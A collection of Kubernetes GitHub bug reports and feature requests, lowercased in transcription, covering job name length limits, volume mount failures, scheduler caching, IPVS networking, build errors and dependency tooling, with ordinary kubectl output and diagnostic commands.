is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r we have some cron jobs with longish names  ~60 characters , and noticed that the corresponding jobs weren't being created by the cronjob controller because the name was too long.\r \r here's what happened: there's a 63-character limit on job names  because for some reason on job creation the name gets copied into a label, where the limit is 63 chars . for example, if i try to create a job with a long name, i get the error message:\r \r    \r the job \ 100000000010000000001000000000100000000010000000001000000000100000000010000000000000000010000000000\ \r  is invalid: spec.template.labels: invalid value: \r \ 100000000010000000001000000000100000000010000000001000000000100000000010000000000000000010000000000\ : \r must be no more than 63 characters\r    \r \r by itself, this is fine. i can just make a job with a shorter name. however! if i create a   cron job  , the cron job controller will create jobs named  $cron_job_name-$timestamp . so the job's name is 11 characters longer than the job name.\r \r this means that if i create a cron job with a 63-character name, it'll result in a job name that's 74 characters, which the api will refuse to accept. this means the cron job never gets scheduled.\r \r some possible resolutions:\r \r 1. add validation on cron job creation that refuses to let you create jobs with names > 52 characters\r 2. have the cron job controller truncate cronjobs names\r 3. somehow remove the 63-character limit on job names  this seems difficult \r \r there's actually a deeper problem here at play: kubernetes' resource   name   limit is 253 characters. but the limit for resouce   labels   is 63 characters. so when a job is created, the name  which is allowed to be up to 255 chars  gets copied into a label, which has a lower limit.  so the job creation fails.  these are the  docs on limits  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/identifiers.md  \r \r   what you expected to happen  :\r \r when i create a cron job, i expect it to either\r \r 1. refuse to create the cron job, or\r 2. schedule jobs correctly from that cron job\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cronjob with a name that's more than 52 characters\r 2. observe that it does not schedule jobs, with an error message like  spec.template.labels: invalid value: \ {name}\ : must be no more than 63 characters \r \r   anything else we need to know?  :\r \r - kubernetes version: 1.7.3\r - cloud provider: aws\r - os: ubuntu 16.04\r - kernel: 4.4.0\r \r   example of a job definition with a long name  \r \r this job definition is invalid:\r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: \ 100000000010000000001000000000100000000010000000001000000000100000000010000000000000000010000000000\ \r spec:\r   template:\r     spec:\r       containers:\r       - name: pi\r         image: perl\r         command:  \ perl\ ,  \ -mbignum=bpi\ , \ -wle\ , \ print bpi 2000 \  \r       restartpolicy: never\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r the main gce cloud provider code  pkg/cloudprovider/providers/gce/gce.go  should not contain disk-related operations. move them to gce_disks.go\r \r /cc @bowei \r /assign

is this a bug report or feature request?  :\r \r  \r when it comes to dependency handling, migrate from godep to  dep  https://github.com/golang/dep . there are two reasons for this:\r \r 1. godep development is essentially done. see https://github.com/tools/godep/graphs/contributors. edward muller, the primary author of godep, worked in the group that came to the conclusion to start dep and he has contributed to that.\r 2. kubernetes is a sufficiently complex project. if dep can work for kubernetes it will be able to work for most things.\r \r note, i realize that for k8s to make the change it may mean changes to dep.

i create statefulset pod with volume from ceph rbd，pod status is always containercreating\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: ambari-test\r   namespace: bigdata\r spec:\r   servicename: \ ambari-agent\ \r   template:\r     metadata:\r       labels:\r         app: ambari-test\r     spec:\r       containers:\r       - name: ambari-test\r         image: registry.dev1.com:5000/ambari-agent:2.4.2.0.2.4\r         imagepullpolicy: always\r         command:\r            - /usr/local/bin/start.sh\r         securitycontext:\r           privileged: true\r         volumemounts:\r         - name: vol1\r           mountpath: /mnt/vol1\r   volumeclaimtemplates:\r   - metadata:\r       name: vol1\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: ceph\r       resources:\r         requests:\r           storage: 1gi\r \r i found pod log info like this\r kubectl describe pod ambari-test-0 -n bigdata\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   2m\t\t2m\t\t2\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ vol1-ambari-test-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ vol1-ambari-test-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ vol1-ambari-test-0\ , which is unexpected. \r   2m\t\t2m\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned ambari-test-0 to master3\r   20s\t\t20s\t\t1\tkubelet, master3\t\t\twarning\t\tfailedmount\t\tunable to mount volumes for pod \ ambari-test-0_bigdata 61c416e2-b3d9-11e7-9a13-005056b63f93 \ : timeout expired waiting for volumes to attach/mount for pod \ bigdata\ /\ ambari-test-0\ . list of unattached/unmounted volumes= vol1 \r   20s\t\t20s\t\t1\tkubelet, master3\t\t\twarning\t\tfailedsync\t\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ bigdata\ /\ ambari-test-0\ . list of unattached/unmounted volumes= vol1 \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet not sync data with apiserver, and the log shows \ another app is currently holding the  xtables lock;\ \r \r   what you expected to happen  :\r kubelet working ok, and sync with apiserver well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create cluster in one machine single node \r 2. set replicas as much as we can\r 3. set replicas to normal number, like 3 or 5.  some time this error appear.  \r \r   anything else we need to know?  :\r anything you want to know, please ping me.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:16:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.5\ , gitcommit:\ cce11c6a185279d037023e02ac5249e14daa22bf\ , gittreestate:\ clean\ , builddate:\ 2017-12-07t16:05:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r ~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r ~  uname -a\r linux m-dev-192-168-17-201 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm\r - others:calico plugin\r \r  

the key that scheduler uses to store a pod in its  \ assume\  cache is \ namespace/name\   https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/schedulercache/cache.go l126  of the pod. as i explained in https://github.com/kubernetes/kubernetes/issues/56682 issuecomment-371742634, this can cause issues if a pod that is being scheduled is deleted and a replacement pod with the same name and namespace is created. in order to avoid this problem, scheduler should use pod uid instead of \ namespace/name\  as the key in its \ assume\  cache.\r \r   is this a bug report or feature request?  :\r \r  \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r when use an existing azure disk also called  static provisioning  https://github.com/andyzhangx/demo/tree/master/linux/azuredisk static-provisioning-for-azure-disk   in pod, if that disk has partitions, the disk will be formatted in the pod mounting.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r  - create a disk with source from an os disk, e.g.\r    \r az disk create --name duposdisk --resource-group andy-mg110 --sku standard_lrs  --size-gb 30 --location westus2 --source  https://xxx.blob.core.windows.net/osdisk/k8s-agentpool-33591117-0-osdisk.vhd\r    \r  -  use disk static provioning for that copied disk  https://github.com/andyzhangx/demo/tree/master/linux/azuredisk static-provisioning-for-azure-disk \r  -  kubectl exec -it nginx-azuredisk -- bash \r that disk is already formatted before pod could access it\r \r   anything else we need to know?  :\r root cause:\r  - current disklooksunformatted func is using  lsblk  command to check whether disk is formatted or not\r https://github.com/kubernetes/kubernetes/blob/b87a392b1a7ece8335ad3ade410e5070e29f216e/pkg/volume/azure_dd/azure_common_linux.go l213-l215\r  - while common k8s code  safeformatandmount.getdiskformat   is using  blkid  to detect disk format,  blkid  could detect multiple partitions\r https://github.com/kubernetes/kubernetes/blob/b87a392b1a7ece8335ad3ade410e5070e29f216e/pkg/util/mount/mount_linux.go l541-l543\r  - so if we use common k8s code  safeformatandmount.getdiskformat  , following error will be returned for mulitple partition disks, which is expected:\r    \r   warning  failedmount             6s  x3 over 19s   kubelet, k8s-agentpool-66825246-0  mountvolume.mountdevice failed for volume \ azure\  : azuredisk - mountdevice:formatandmount failed with failed to mount\r the volume as \ ext4\ , it already contains unknown data, probably partitions. mount error: exit status 32\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7 - v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

https://k8s-testgrid.appspot.com/google-gke-staging gke-staging-1-9-1-10-upgrade-cluster\r \r /king bug\r    how should we avoid repeating this problem? \r \r   what happened  :\r the prs https://github.com/kubernetes/kubernetes/pull/63067 and https://github.com/kubernetes/kubernetes/pull/62448 changed admission controller behavior and updated tests with the new logic, but upgrade e2e tests run 1.9 tests against 1.10 components. \r \r specifically, what used to be an invalid nodeselector is now considered valid.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

flaky job: pr:pull-kubernetes-e2e-gce-100-performance  flakes in the past week:   25    consistency:   95.70%         flakiest tests by flake count: | test | flake count | | --- | --- | |  sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons | 13 | | up | 9 |       previously closed issues for this job flaking:  62592     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

i think in k8s 1.9, the mechanism by which node information is fetched in vsphere was changed to use  product_serial/product_uuid  and as a result if controller-manager is on 1.9 and a node is on 1.8, then we can't detach volumes from 1.8 node.\r \r this becomes a problem during upgrade cycle. a fix was made for this - http://github.com/kubernetes/kubernetes/issues/62919 but this only works if product_uuid and product_serial of the node is same. which may not be the case. \r \r  

having to handle logs at the node level complicates disk management considerably.  - currently logs are stored in the context of containers. the lifetime of logs is tied to the lifetime of container instances.  - disk usage accounting for logs is tricky since log files are handled by docker daemon, which provides no disk accounting. - containers store log files onto root filesystem at times, leading to uncontrolled disk usage. - the existing implementation of logs apis requires keeping old container instances around, which hinders efficient disk utilization. - system level logs  kubelet, docker daemon, kube-proxy  have to be rotated quickly to avoid taking up too much disk space.  since we have a cluster level logging infrastructure, we can redirect the  logs  endpoints to the logging infrastructure. this might require building a new component that can proxy logs requests to various logging backends like elasticsearch, google cloud logging, etc.   another alternative is to not support  logs  in our apis and require users to use their cluster logging infra to access all their logs.  @smarterclayton @bgrant0607 @dchen1107 @a-robinson

right now the  version  package contains three redundant version objects: -  info  struct, -  gitversion  struct, inside of the  info  struct, -  semver.version , from  github.com/blang/semver  https://github.com/blang/semver .  we should clean this up, along with the stuff in  version/base.go , and make it easier to deal with and less redundant.  this came up in working on version guards for https://github.com/kubernetes/kubernetes/issues/18720.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r ports required\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r i would like to be able to create a deployment without a port.  this is currently not possible.\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r not relevant\r \r \r   what happened  :\r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: graylog-collector\r   namespace: my-namespace\r   labels:\r     name: graylog-collector\r spec:\r   replicas: 4\r   revisionhistorylimit: 1\r   selector:\r     matchlabels:\r       name: graylog-collector\r   template:\r     metadata:\r       labels:\r         name: graylog-collector\r     spec:\r       containers:\r       - name: graylog-collector\r         image: my-registry:5000/graylog_collector:42\r         env:\r         - name: graylog_host\r           value: example.com\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: graylog-collector\r   namespace: my-namespace\r   labels:\r     name: graylog-collector\r spec:\r   selector:\r     name: graylog-collector   \r    \r this will not work, instead throwing this error:\r \r    \r error validating \ kubernetes.yaml\ : error validating data: field ports: is required; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r i'd rather not disable validation.\r \r \r   what you expected to happen  :\r i expect to be able to create a deployment without a port.  not all things deployed to kubernetes are meant to be connected to.  i am simply deploying a graylog collector container.\r \r \r note: if this is simply a matter of having incorrect configuration then i will tell you the documentation on this is lacking and that's why i can't figure this out.

is this a bug report or feature request?  choose one   :\r feature request\r \r   kubernetes version  use kubectl version   :\r master branch\r \r   what happened  :\r according to discussion at kubernetes/client-go 136 , we'd like to upgrade  scheduler  to use client-go after lister, informer is ready.

this issue is for continuing the discussion here https://github.com/kubernetes/kubernetes/pull/50789 discussion_r133549650\r \r on whether to have global schemes per api group, or to construct schemes as needed and plumb to usage sites.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r support\r \r \r   what happened  :\r unable to build hyperkube image.\r \r    \r + cd /opt/kubernetes/cluster/images/hyperkube\r + make build version=ci-master-nightly\r cp -r ./  /tmp/hyperkubeyizaki\r cp ../../../_output/dockerized/bin/linux/amd64/hyperkube /tmp/hyperkubeyizaki\r chmod a+rx /tmp/hyperkubeyizaki/hyperkube\r cd /tmp/hyperkubeyizaki && sed -i.back \ s|baseimage|gcr.io/google-containers/debian-hyperkube-base-amd64:0.3|g\  dockerfile\r   register /usr/bin/qemu-arch-static as the handler for non-x86 binaries in the kernel\r docker run --rm --privileged multiarch/qemu-user-static:register --reset\r unable to find image 'multiarch/qemu-user-static:register' locally\r register: pulling from multiarch/qemu-user-static\r \r \r 1cae461a1479: pulling fs layer \r \r \r a1985cc57c63: pulling fs layer \r \r 1cae461a1479: downloading 15.88 kb/699.3 kb\r \r 1cae461a1479: downloading 32.27 kb/699.3 kb\r \r 1cae461a1479: downloading 48.65 kb/699.3 kb\r \r 1cae461a1479: downloading 64.44 kb/699.3 kb\r \r 1cae461a1479: downloading 80.82 kb/699.3 kb\r \r 1cae461a1479: downloading 97.21 kb/699.3 kb\r \r 1cae461a1479: downloading 119.9 kb/699.3 kb\r \r 1cae461a1479: downloading   130 kb/699.3 kb\r \r 1cae461a1479: downloading 146.4 kb/699.3 kb\r \r 1cae461a1479: downloading 162.7 kb/699.3 kb\r \r 1cae461a1479: downloading 179.1 kb/699.3 kb\r \r 1cae461a1479: downloading 195.5 kb/699.3 kb\r \r a1985cc57c63: downloading 1.007 kb/1.007 kb\r \r a1985cc57c63: download complete \r \r 1cae461a1479: downloading 207.1 kb/699.3 kb\r \r 1cae461a1479: downloading 223.5 kb/699.3 kb\r \r 1cae461a1479: downloading 239.9 kb/699.3 kb\r \r 1cae461a1479: downloading 256.2 kb/699.3 kb\r \r 1cae461a1479: downloading 277.4 kb/699.3 kb\r \r 1cae461a1479: downloading 293.8 kb/699.3 kb\r \r 1cae461a1479: downloading 310.2 kb/699.3 kb\r \r 1cae461a1479: downloading 326.6 kb/699.3 kb\r \r 1cae461a1479: downloading   343 kb/699.3 kb\r \r 1cae461a1479: downloading 359.4 kb/699.3 kb\r \r 1cae461a1479: downloading 375.7 kb/699.3 kb\r \r 1cae461a1479: downloading   386 kb/699.3 kb\r \r 1cae461a1479: downloading 408.5 kb/699.3 kb\r \r 1cae461a1479: downloading 421.1 kb/699.3 kb\r \r 1cae461a1479: downloading 437.5 kb/699.3 kb\r \r 1cae461a1479: downloading 453.8 kb/699.3 kb\r \r 1cae461a1479: downloading   474 kb/699.3 kb\r \r 1cae461a1479: downloading 485.2 kb/699.3 kb\r \r 1cae461a1479: downloading 501.6 kb/699.3 kb\r \r 1cae461a1479: downloading 517.9 kb/699.3 kb\r \r 1cae461a1479: downloading 539.6 kb/699.3 kb\r \r 1cae461a1479: downloading   556 kb/699.3 kb\r \r 1cae461a1479: downloading 572.3 kb/699.3 kb\r \r 1cae461a1479: downloading 588.4 kb/699.3 kb\r \r 1cae461a1479: downloading 605.1 kb/699.3 kb\r \r 1cae461a1479: downloading 621.5 kb/699.3 kb\r \r 1cae461a1479: downloading 637.9 kb/699.3 kb\r \r 1cae461a1479: downloading 654.3 kb/699.3 kb\r \r 1cae461a1479: downloading 670.6 kb/699.3 kb\r \r 1cae461a1479: downloading   687 kb/699.3 kb\r \r 1cae461a1479: downloading 699.3 kb/699.3 kb\r \r 1cae461a1479: download complete \r \r 1cae461a1479: extracting 32.77 kb/699.3 kb\r \r 1cae461a1479: extracting 65.54 kb/699.3 kb\r \r 1cae461a1479: extracting  98.3 kb/699.3 kb\r \r 1cae461a1479: extracting 131.1 kb/699.3 kb\r \r 1cae461a1479: extracting 163.8 kb/699.3 kb\r \r 1cae461a1479: extracting 196.6 kb/699.3 kb\r \r 1cae461a1479: extracting 229.4 kb/699.3 kb\r \r 1cae461a1479: extracting 262.1 kb/699.3 kb\r \r 1cae461a1479: extracting 294.9 kb/699.3 kb\r \r 1cae461a1479: extracting 327.7 kb/699.3 kb\r \r 1cae461a1479: extracting 360.4 kb/699.3 kb\r \r 1cae461a1479: extracting 393.2 kb/699.3 kb\r \r 1cae461a1479: extracting   426 kb/699.3 kb\r \r 1cae461a1479: extracting 458.8 kb/699.3 kb\r \r 1cae461a1479: extracting 491.5 kb/699.3 kb\r \r 1cae461a1479: extracting 524.3 kb/699.3 kb\r \r 1cae461a1479: extracting 557.1 kb/699.3 kb\r \r 1cae461a1479: extracting 589.8 kb/699.3 kb\r \r 1cae461a1479: extracting 622.6 kb/699.3 kb\r \r 1cae461a1479: extracting 655.4 kb/699.3 kb\r \r 1cae461a1479: extracting 688.1 kb/699.3 kb\r \r 1cae461a1479: extracting 699.3 kb/699.3 kb\r \r 1cae461a1479: extracting 699.3 kb/699.3 kb\r \r 1cae461a1479: pull complete \r \r a1985cc57c63: extracting 1.007 kb/1.007 kb\r \r a1985cc57c63: extracting 1.007 kb/1.007 kb\r \r a1985cc57c63: pull complete \r digest: sha256:3b9c6d8ab37f7d7432b3e0dc543256cfb3b93e19ef7027cd4250cf28e3b58207\r status: downloaded newer image for multiarch/qemu-user-static:register\r no binfmt support in the kernel.\r   try: '/sbin/modprobe binfmt_misc' from the host\r makefile:34: recipe for target 'build' failed\r make:      build  error 1\r    \r \r   what you expected to happen  :\r build should pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r git clone --depth 1 https://github.com/kubernetes/kubernetes.git\r cd /opt/kubernetes\r bash build/run.sh make cross kube_fastbuild=true arch=amd64\r \r cd /opt/kubernetes/cluster/images/hyperkube\r make build version=ci-master-nightly\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : linux dbf4077db4bf 4.4.8  1-photon smp tue jun 7 08:04:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r \r   \r \r \r   what happened  :\r \r currently apiserviceregistrationcontroller watch service change and find the related apiservices related if any. then it addapiservice/removeapiservice for apiaggregator.  \r \r i dig into the kube-aggregator and find it no need totally, because  availableconditioncontroller  update \r apiservices status when related service or endpoint change. so if   apiserviceregistrationcontroller   does not watch services, it will not miss any event for  apiservices.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r w0201 21:07:08.758    k8s.io/kubernetes/pkg/proxy/ipvs\r w0201 21:07:08.759  pkg/proxy/ipvs/proxier.go:1708:27: undefined: unix.enxio\r    \r \r https://github.com/kubernetes/kubernetes/pull/58680\r https://k8s-testgrid.appspot.com/sig-release-misc cross-build&graph-metrics=test-duration-minutes\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/4501\r \r ---\r cc: @kubernetes/sig-network-bugs @kubernetes/sig-network-test-failures @m1093782566 @brendandburns\r /

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when using ipvs and not natting  no cluster-cidr specified  requests from the host to service ips are send with the service ip as the source ip.\r \r let  10.120.0.1  be the kubernetes api ip. kubeproxy will set up  kube-ipvs0  with  10.120.0.1/32 . this means that traffic from the host  which sees the  kube-ipvs0   will originate from  10.120.0.1   best matching ip/network .\r \r   what you expected to happen  :\r \r the source ip should be natted to the host ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. use a ipvs based cluster\r 1. remove any cluster-cidr from kube-proxy\r 1. send traffic to a service ip  e.g. http to the kubernetes api server  from the node / host network pod\r 1. tcpdump the outgoing interface looking for the service ip   tcpdump .... host 10.120.0.1  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r - kernel  e.g.  uname -a  :  4.15.3+soundcloud2   based on the ubuntu 18.04 kernel \r - install tools: custom repackaging of kubernetes release tarballs\r - others:\r \r 

@kubernetes/sig-apps-bug\r   what happened  :\r i have a pod is created by a daemonset. because of the hard disk pressure, the pod is evicted. after i free the disk space and now there is enough free disk space. and the pod is going to start again. but it hangs on containercreating status. from the log of kubelet, it failed to mount a configmap volume.\r the error message in kubelet as below:\r ...\r i0709 15:18:41.100558   21886 configmap.go:217  received configmap core/logrotate-configmap containing  1  pieces of data, 230 total bytes\r i0709 15:18:41.100558   21886 configmap.go:217  received configmap core/logrotate-configmap containing  1  pieces of data, 230 total bytes\r e0709 15:18:41.100601   21886 configmap.go:231  error creating atomic writer: stat /mnt/var/kubelet/pods/b7aac80a-7e68-11e8-83ff-005056b3700f/volumes/kubernetes.io-configmap/config: no such file or directory\r e0709 15:18:41.100768   21886 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/configmap/b7aac80a-7e68-11e8-83ff-005056b3700f-config\\\   \\\ b7aac80a-7e68-11e8-83ff-005056b3700f\\\  \  failed. no retries permitted until 2018-07-09 15:18:41.600704828 +0800 cst m=+20.647792372  durationbeforeretry 500ms . error: \ mountvolume.setup failed for volume \\\ config\\\   uniquename: \\\ kubernetes.io/configmap/b7aac80a-7e68-11e8-83ff-005056b3700f-config\\\   pod \\\ itom-logrotate-ppwnp\\\   uid: \\\ b7aac80a-7e68-11e8-83ff-005056b3700f\\\   : stat /mnt/var/kubelet/pods/b7aac80a-7e68-11e8-83ff-005056b3700f/volumes/kubernetes.io~configmap/config: no such file or directory\ \r ...\r \r  if i delete the pod, a new pod would be created by daemonset and it would not have the volume mount issue.\r \r here is the output while describe this pod\r  root@test01 kubelet   kubectl describe pod itom-logrotate-ppwnp -n core\r name:           itom-logrotate-ppwnp\r namespace:      core\r node:           test01.mylab.net/16.187.190.203\r start time:     tue, 03 jul 2018 10:47:01 +0800\r labels:         controller-revision-hash=3722429697\r                 pod-template-generation=1\r                 run=itom-logrotate\r annotations:    <none>\r status:         running\r ip:\r controlled by:  daemonset/itom-logrotate\r containers:\r   itom-logrotate:\r     container id:\r     image:          localhost:5000/itom-logrotate:3.14.0-001\r     image id:\r     port:           <none>\r     state:          waiting\r       reason:       containercreating\r     last state:     terminated\r       reason:       error\r       exit code:    255\r       started:      tue, 03 jul 2018 10:47:19 +0800\r       finished:     tue, 03 jul 2018 12:57:44 +0800\r     ready:          false\r     restart count:  1\r     limits:\r       cpu:     200m\r       memory:  200mi\r     requests:\r       cpu:     100m\r       memory:  100mi\r     environment:\r       script_delete_log_dir:       /logs/apiserver /logs/kubelet /logs/kube-proxy /logs/controller /logs/scheduler\r       script_delete_log_survival:  -mtime +7\r     mounts:\r       /cdf-deployments from cdf-deployments  rw \r       /config from config  rw \r       /logs from log  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-89zwr  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   config:\r     type:      configmap  a volume populated by a configmap \r     name:      logrotate-configmap\r     optional:  false\r   log:\r     type:          hostpath  bare host directory volume \r     path:          /opt/kubernetes/log\r     hostpathtype:\r   cdf-deployments:\r     type:          hostpath  bare host directory volume \r     path:          /var/log/cdf-deployments\r     hostpathtype:\r   default-token-89zwr:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-89zwr\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/disk-pressure:noschedule\r                  node.kubernetes.io/memory-pressure:noschedule\r                  node.kubernetes.io/not-ready:noexecute\r                  node.kubernetes.io/unreachable:noexecute\r events:\r   type     reason       age                from                                message\r   ----     ------       ----               ----                                -------\r   warning  failedmount  20m  x27 over 1h   kubelet, test01.mylab.net  unable to mount volumes for pod \ itom-logrotate-ppwnp_core b7aac80a-7e68-11e8-83ff-005056b3700f \ : timeout expired waiting for volumes to attach/mount for pod \ core\ /\ itom-logrotate-ppwnp\ . list of unattached/unmounted volumes= config \r   warning  failedmount  5m  x45 over 1h    kubelet, test01.mylab.net  mountvolume.setup failed for volume \ config\  : stat /mnt/var/kubelet/pods/b7aac80a-7e68-11e8-83ff-005056b3700f/volumes/kubernetes.io~configmap/config: no such file or directory\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1 deploy a daemon set which mount a configmap as volume\r 2 evict a pod created by the daemon set\r 3 while a new pod is created, it would be hung on containercreating status\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r    centos vm. 8 core cpu 16g mem\r - os  e.g. from /etc/os-release :\r    centos 7.2 with kernel 3.10.0-327.el7.x86_64 \r - kernel  e.g.  uname -a  :\r   3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r 

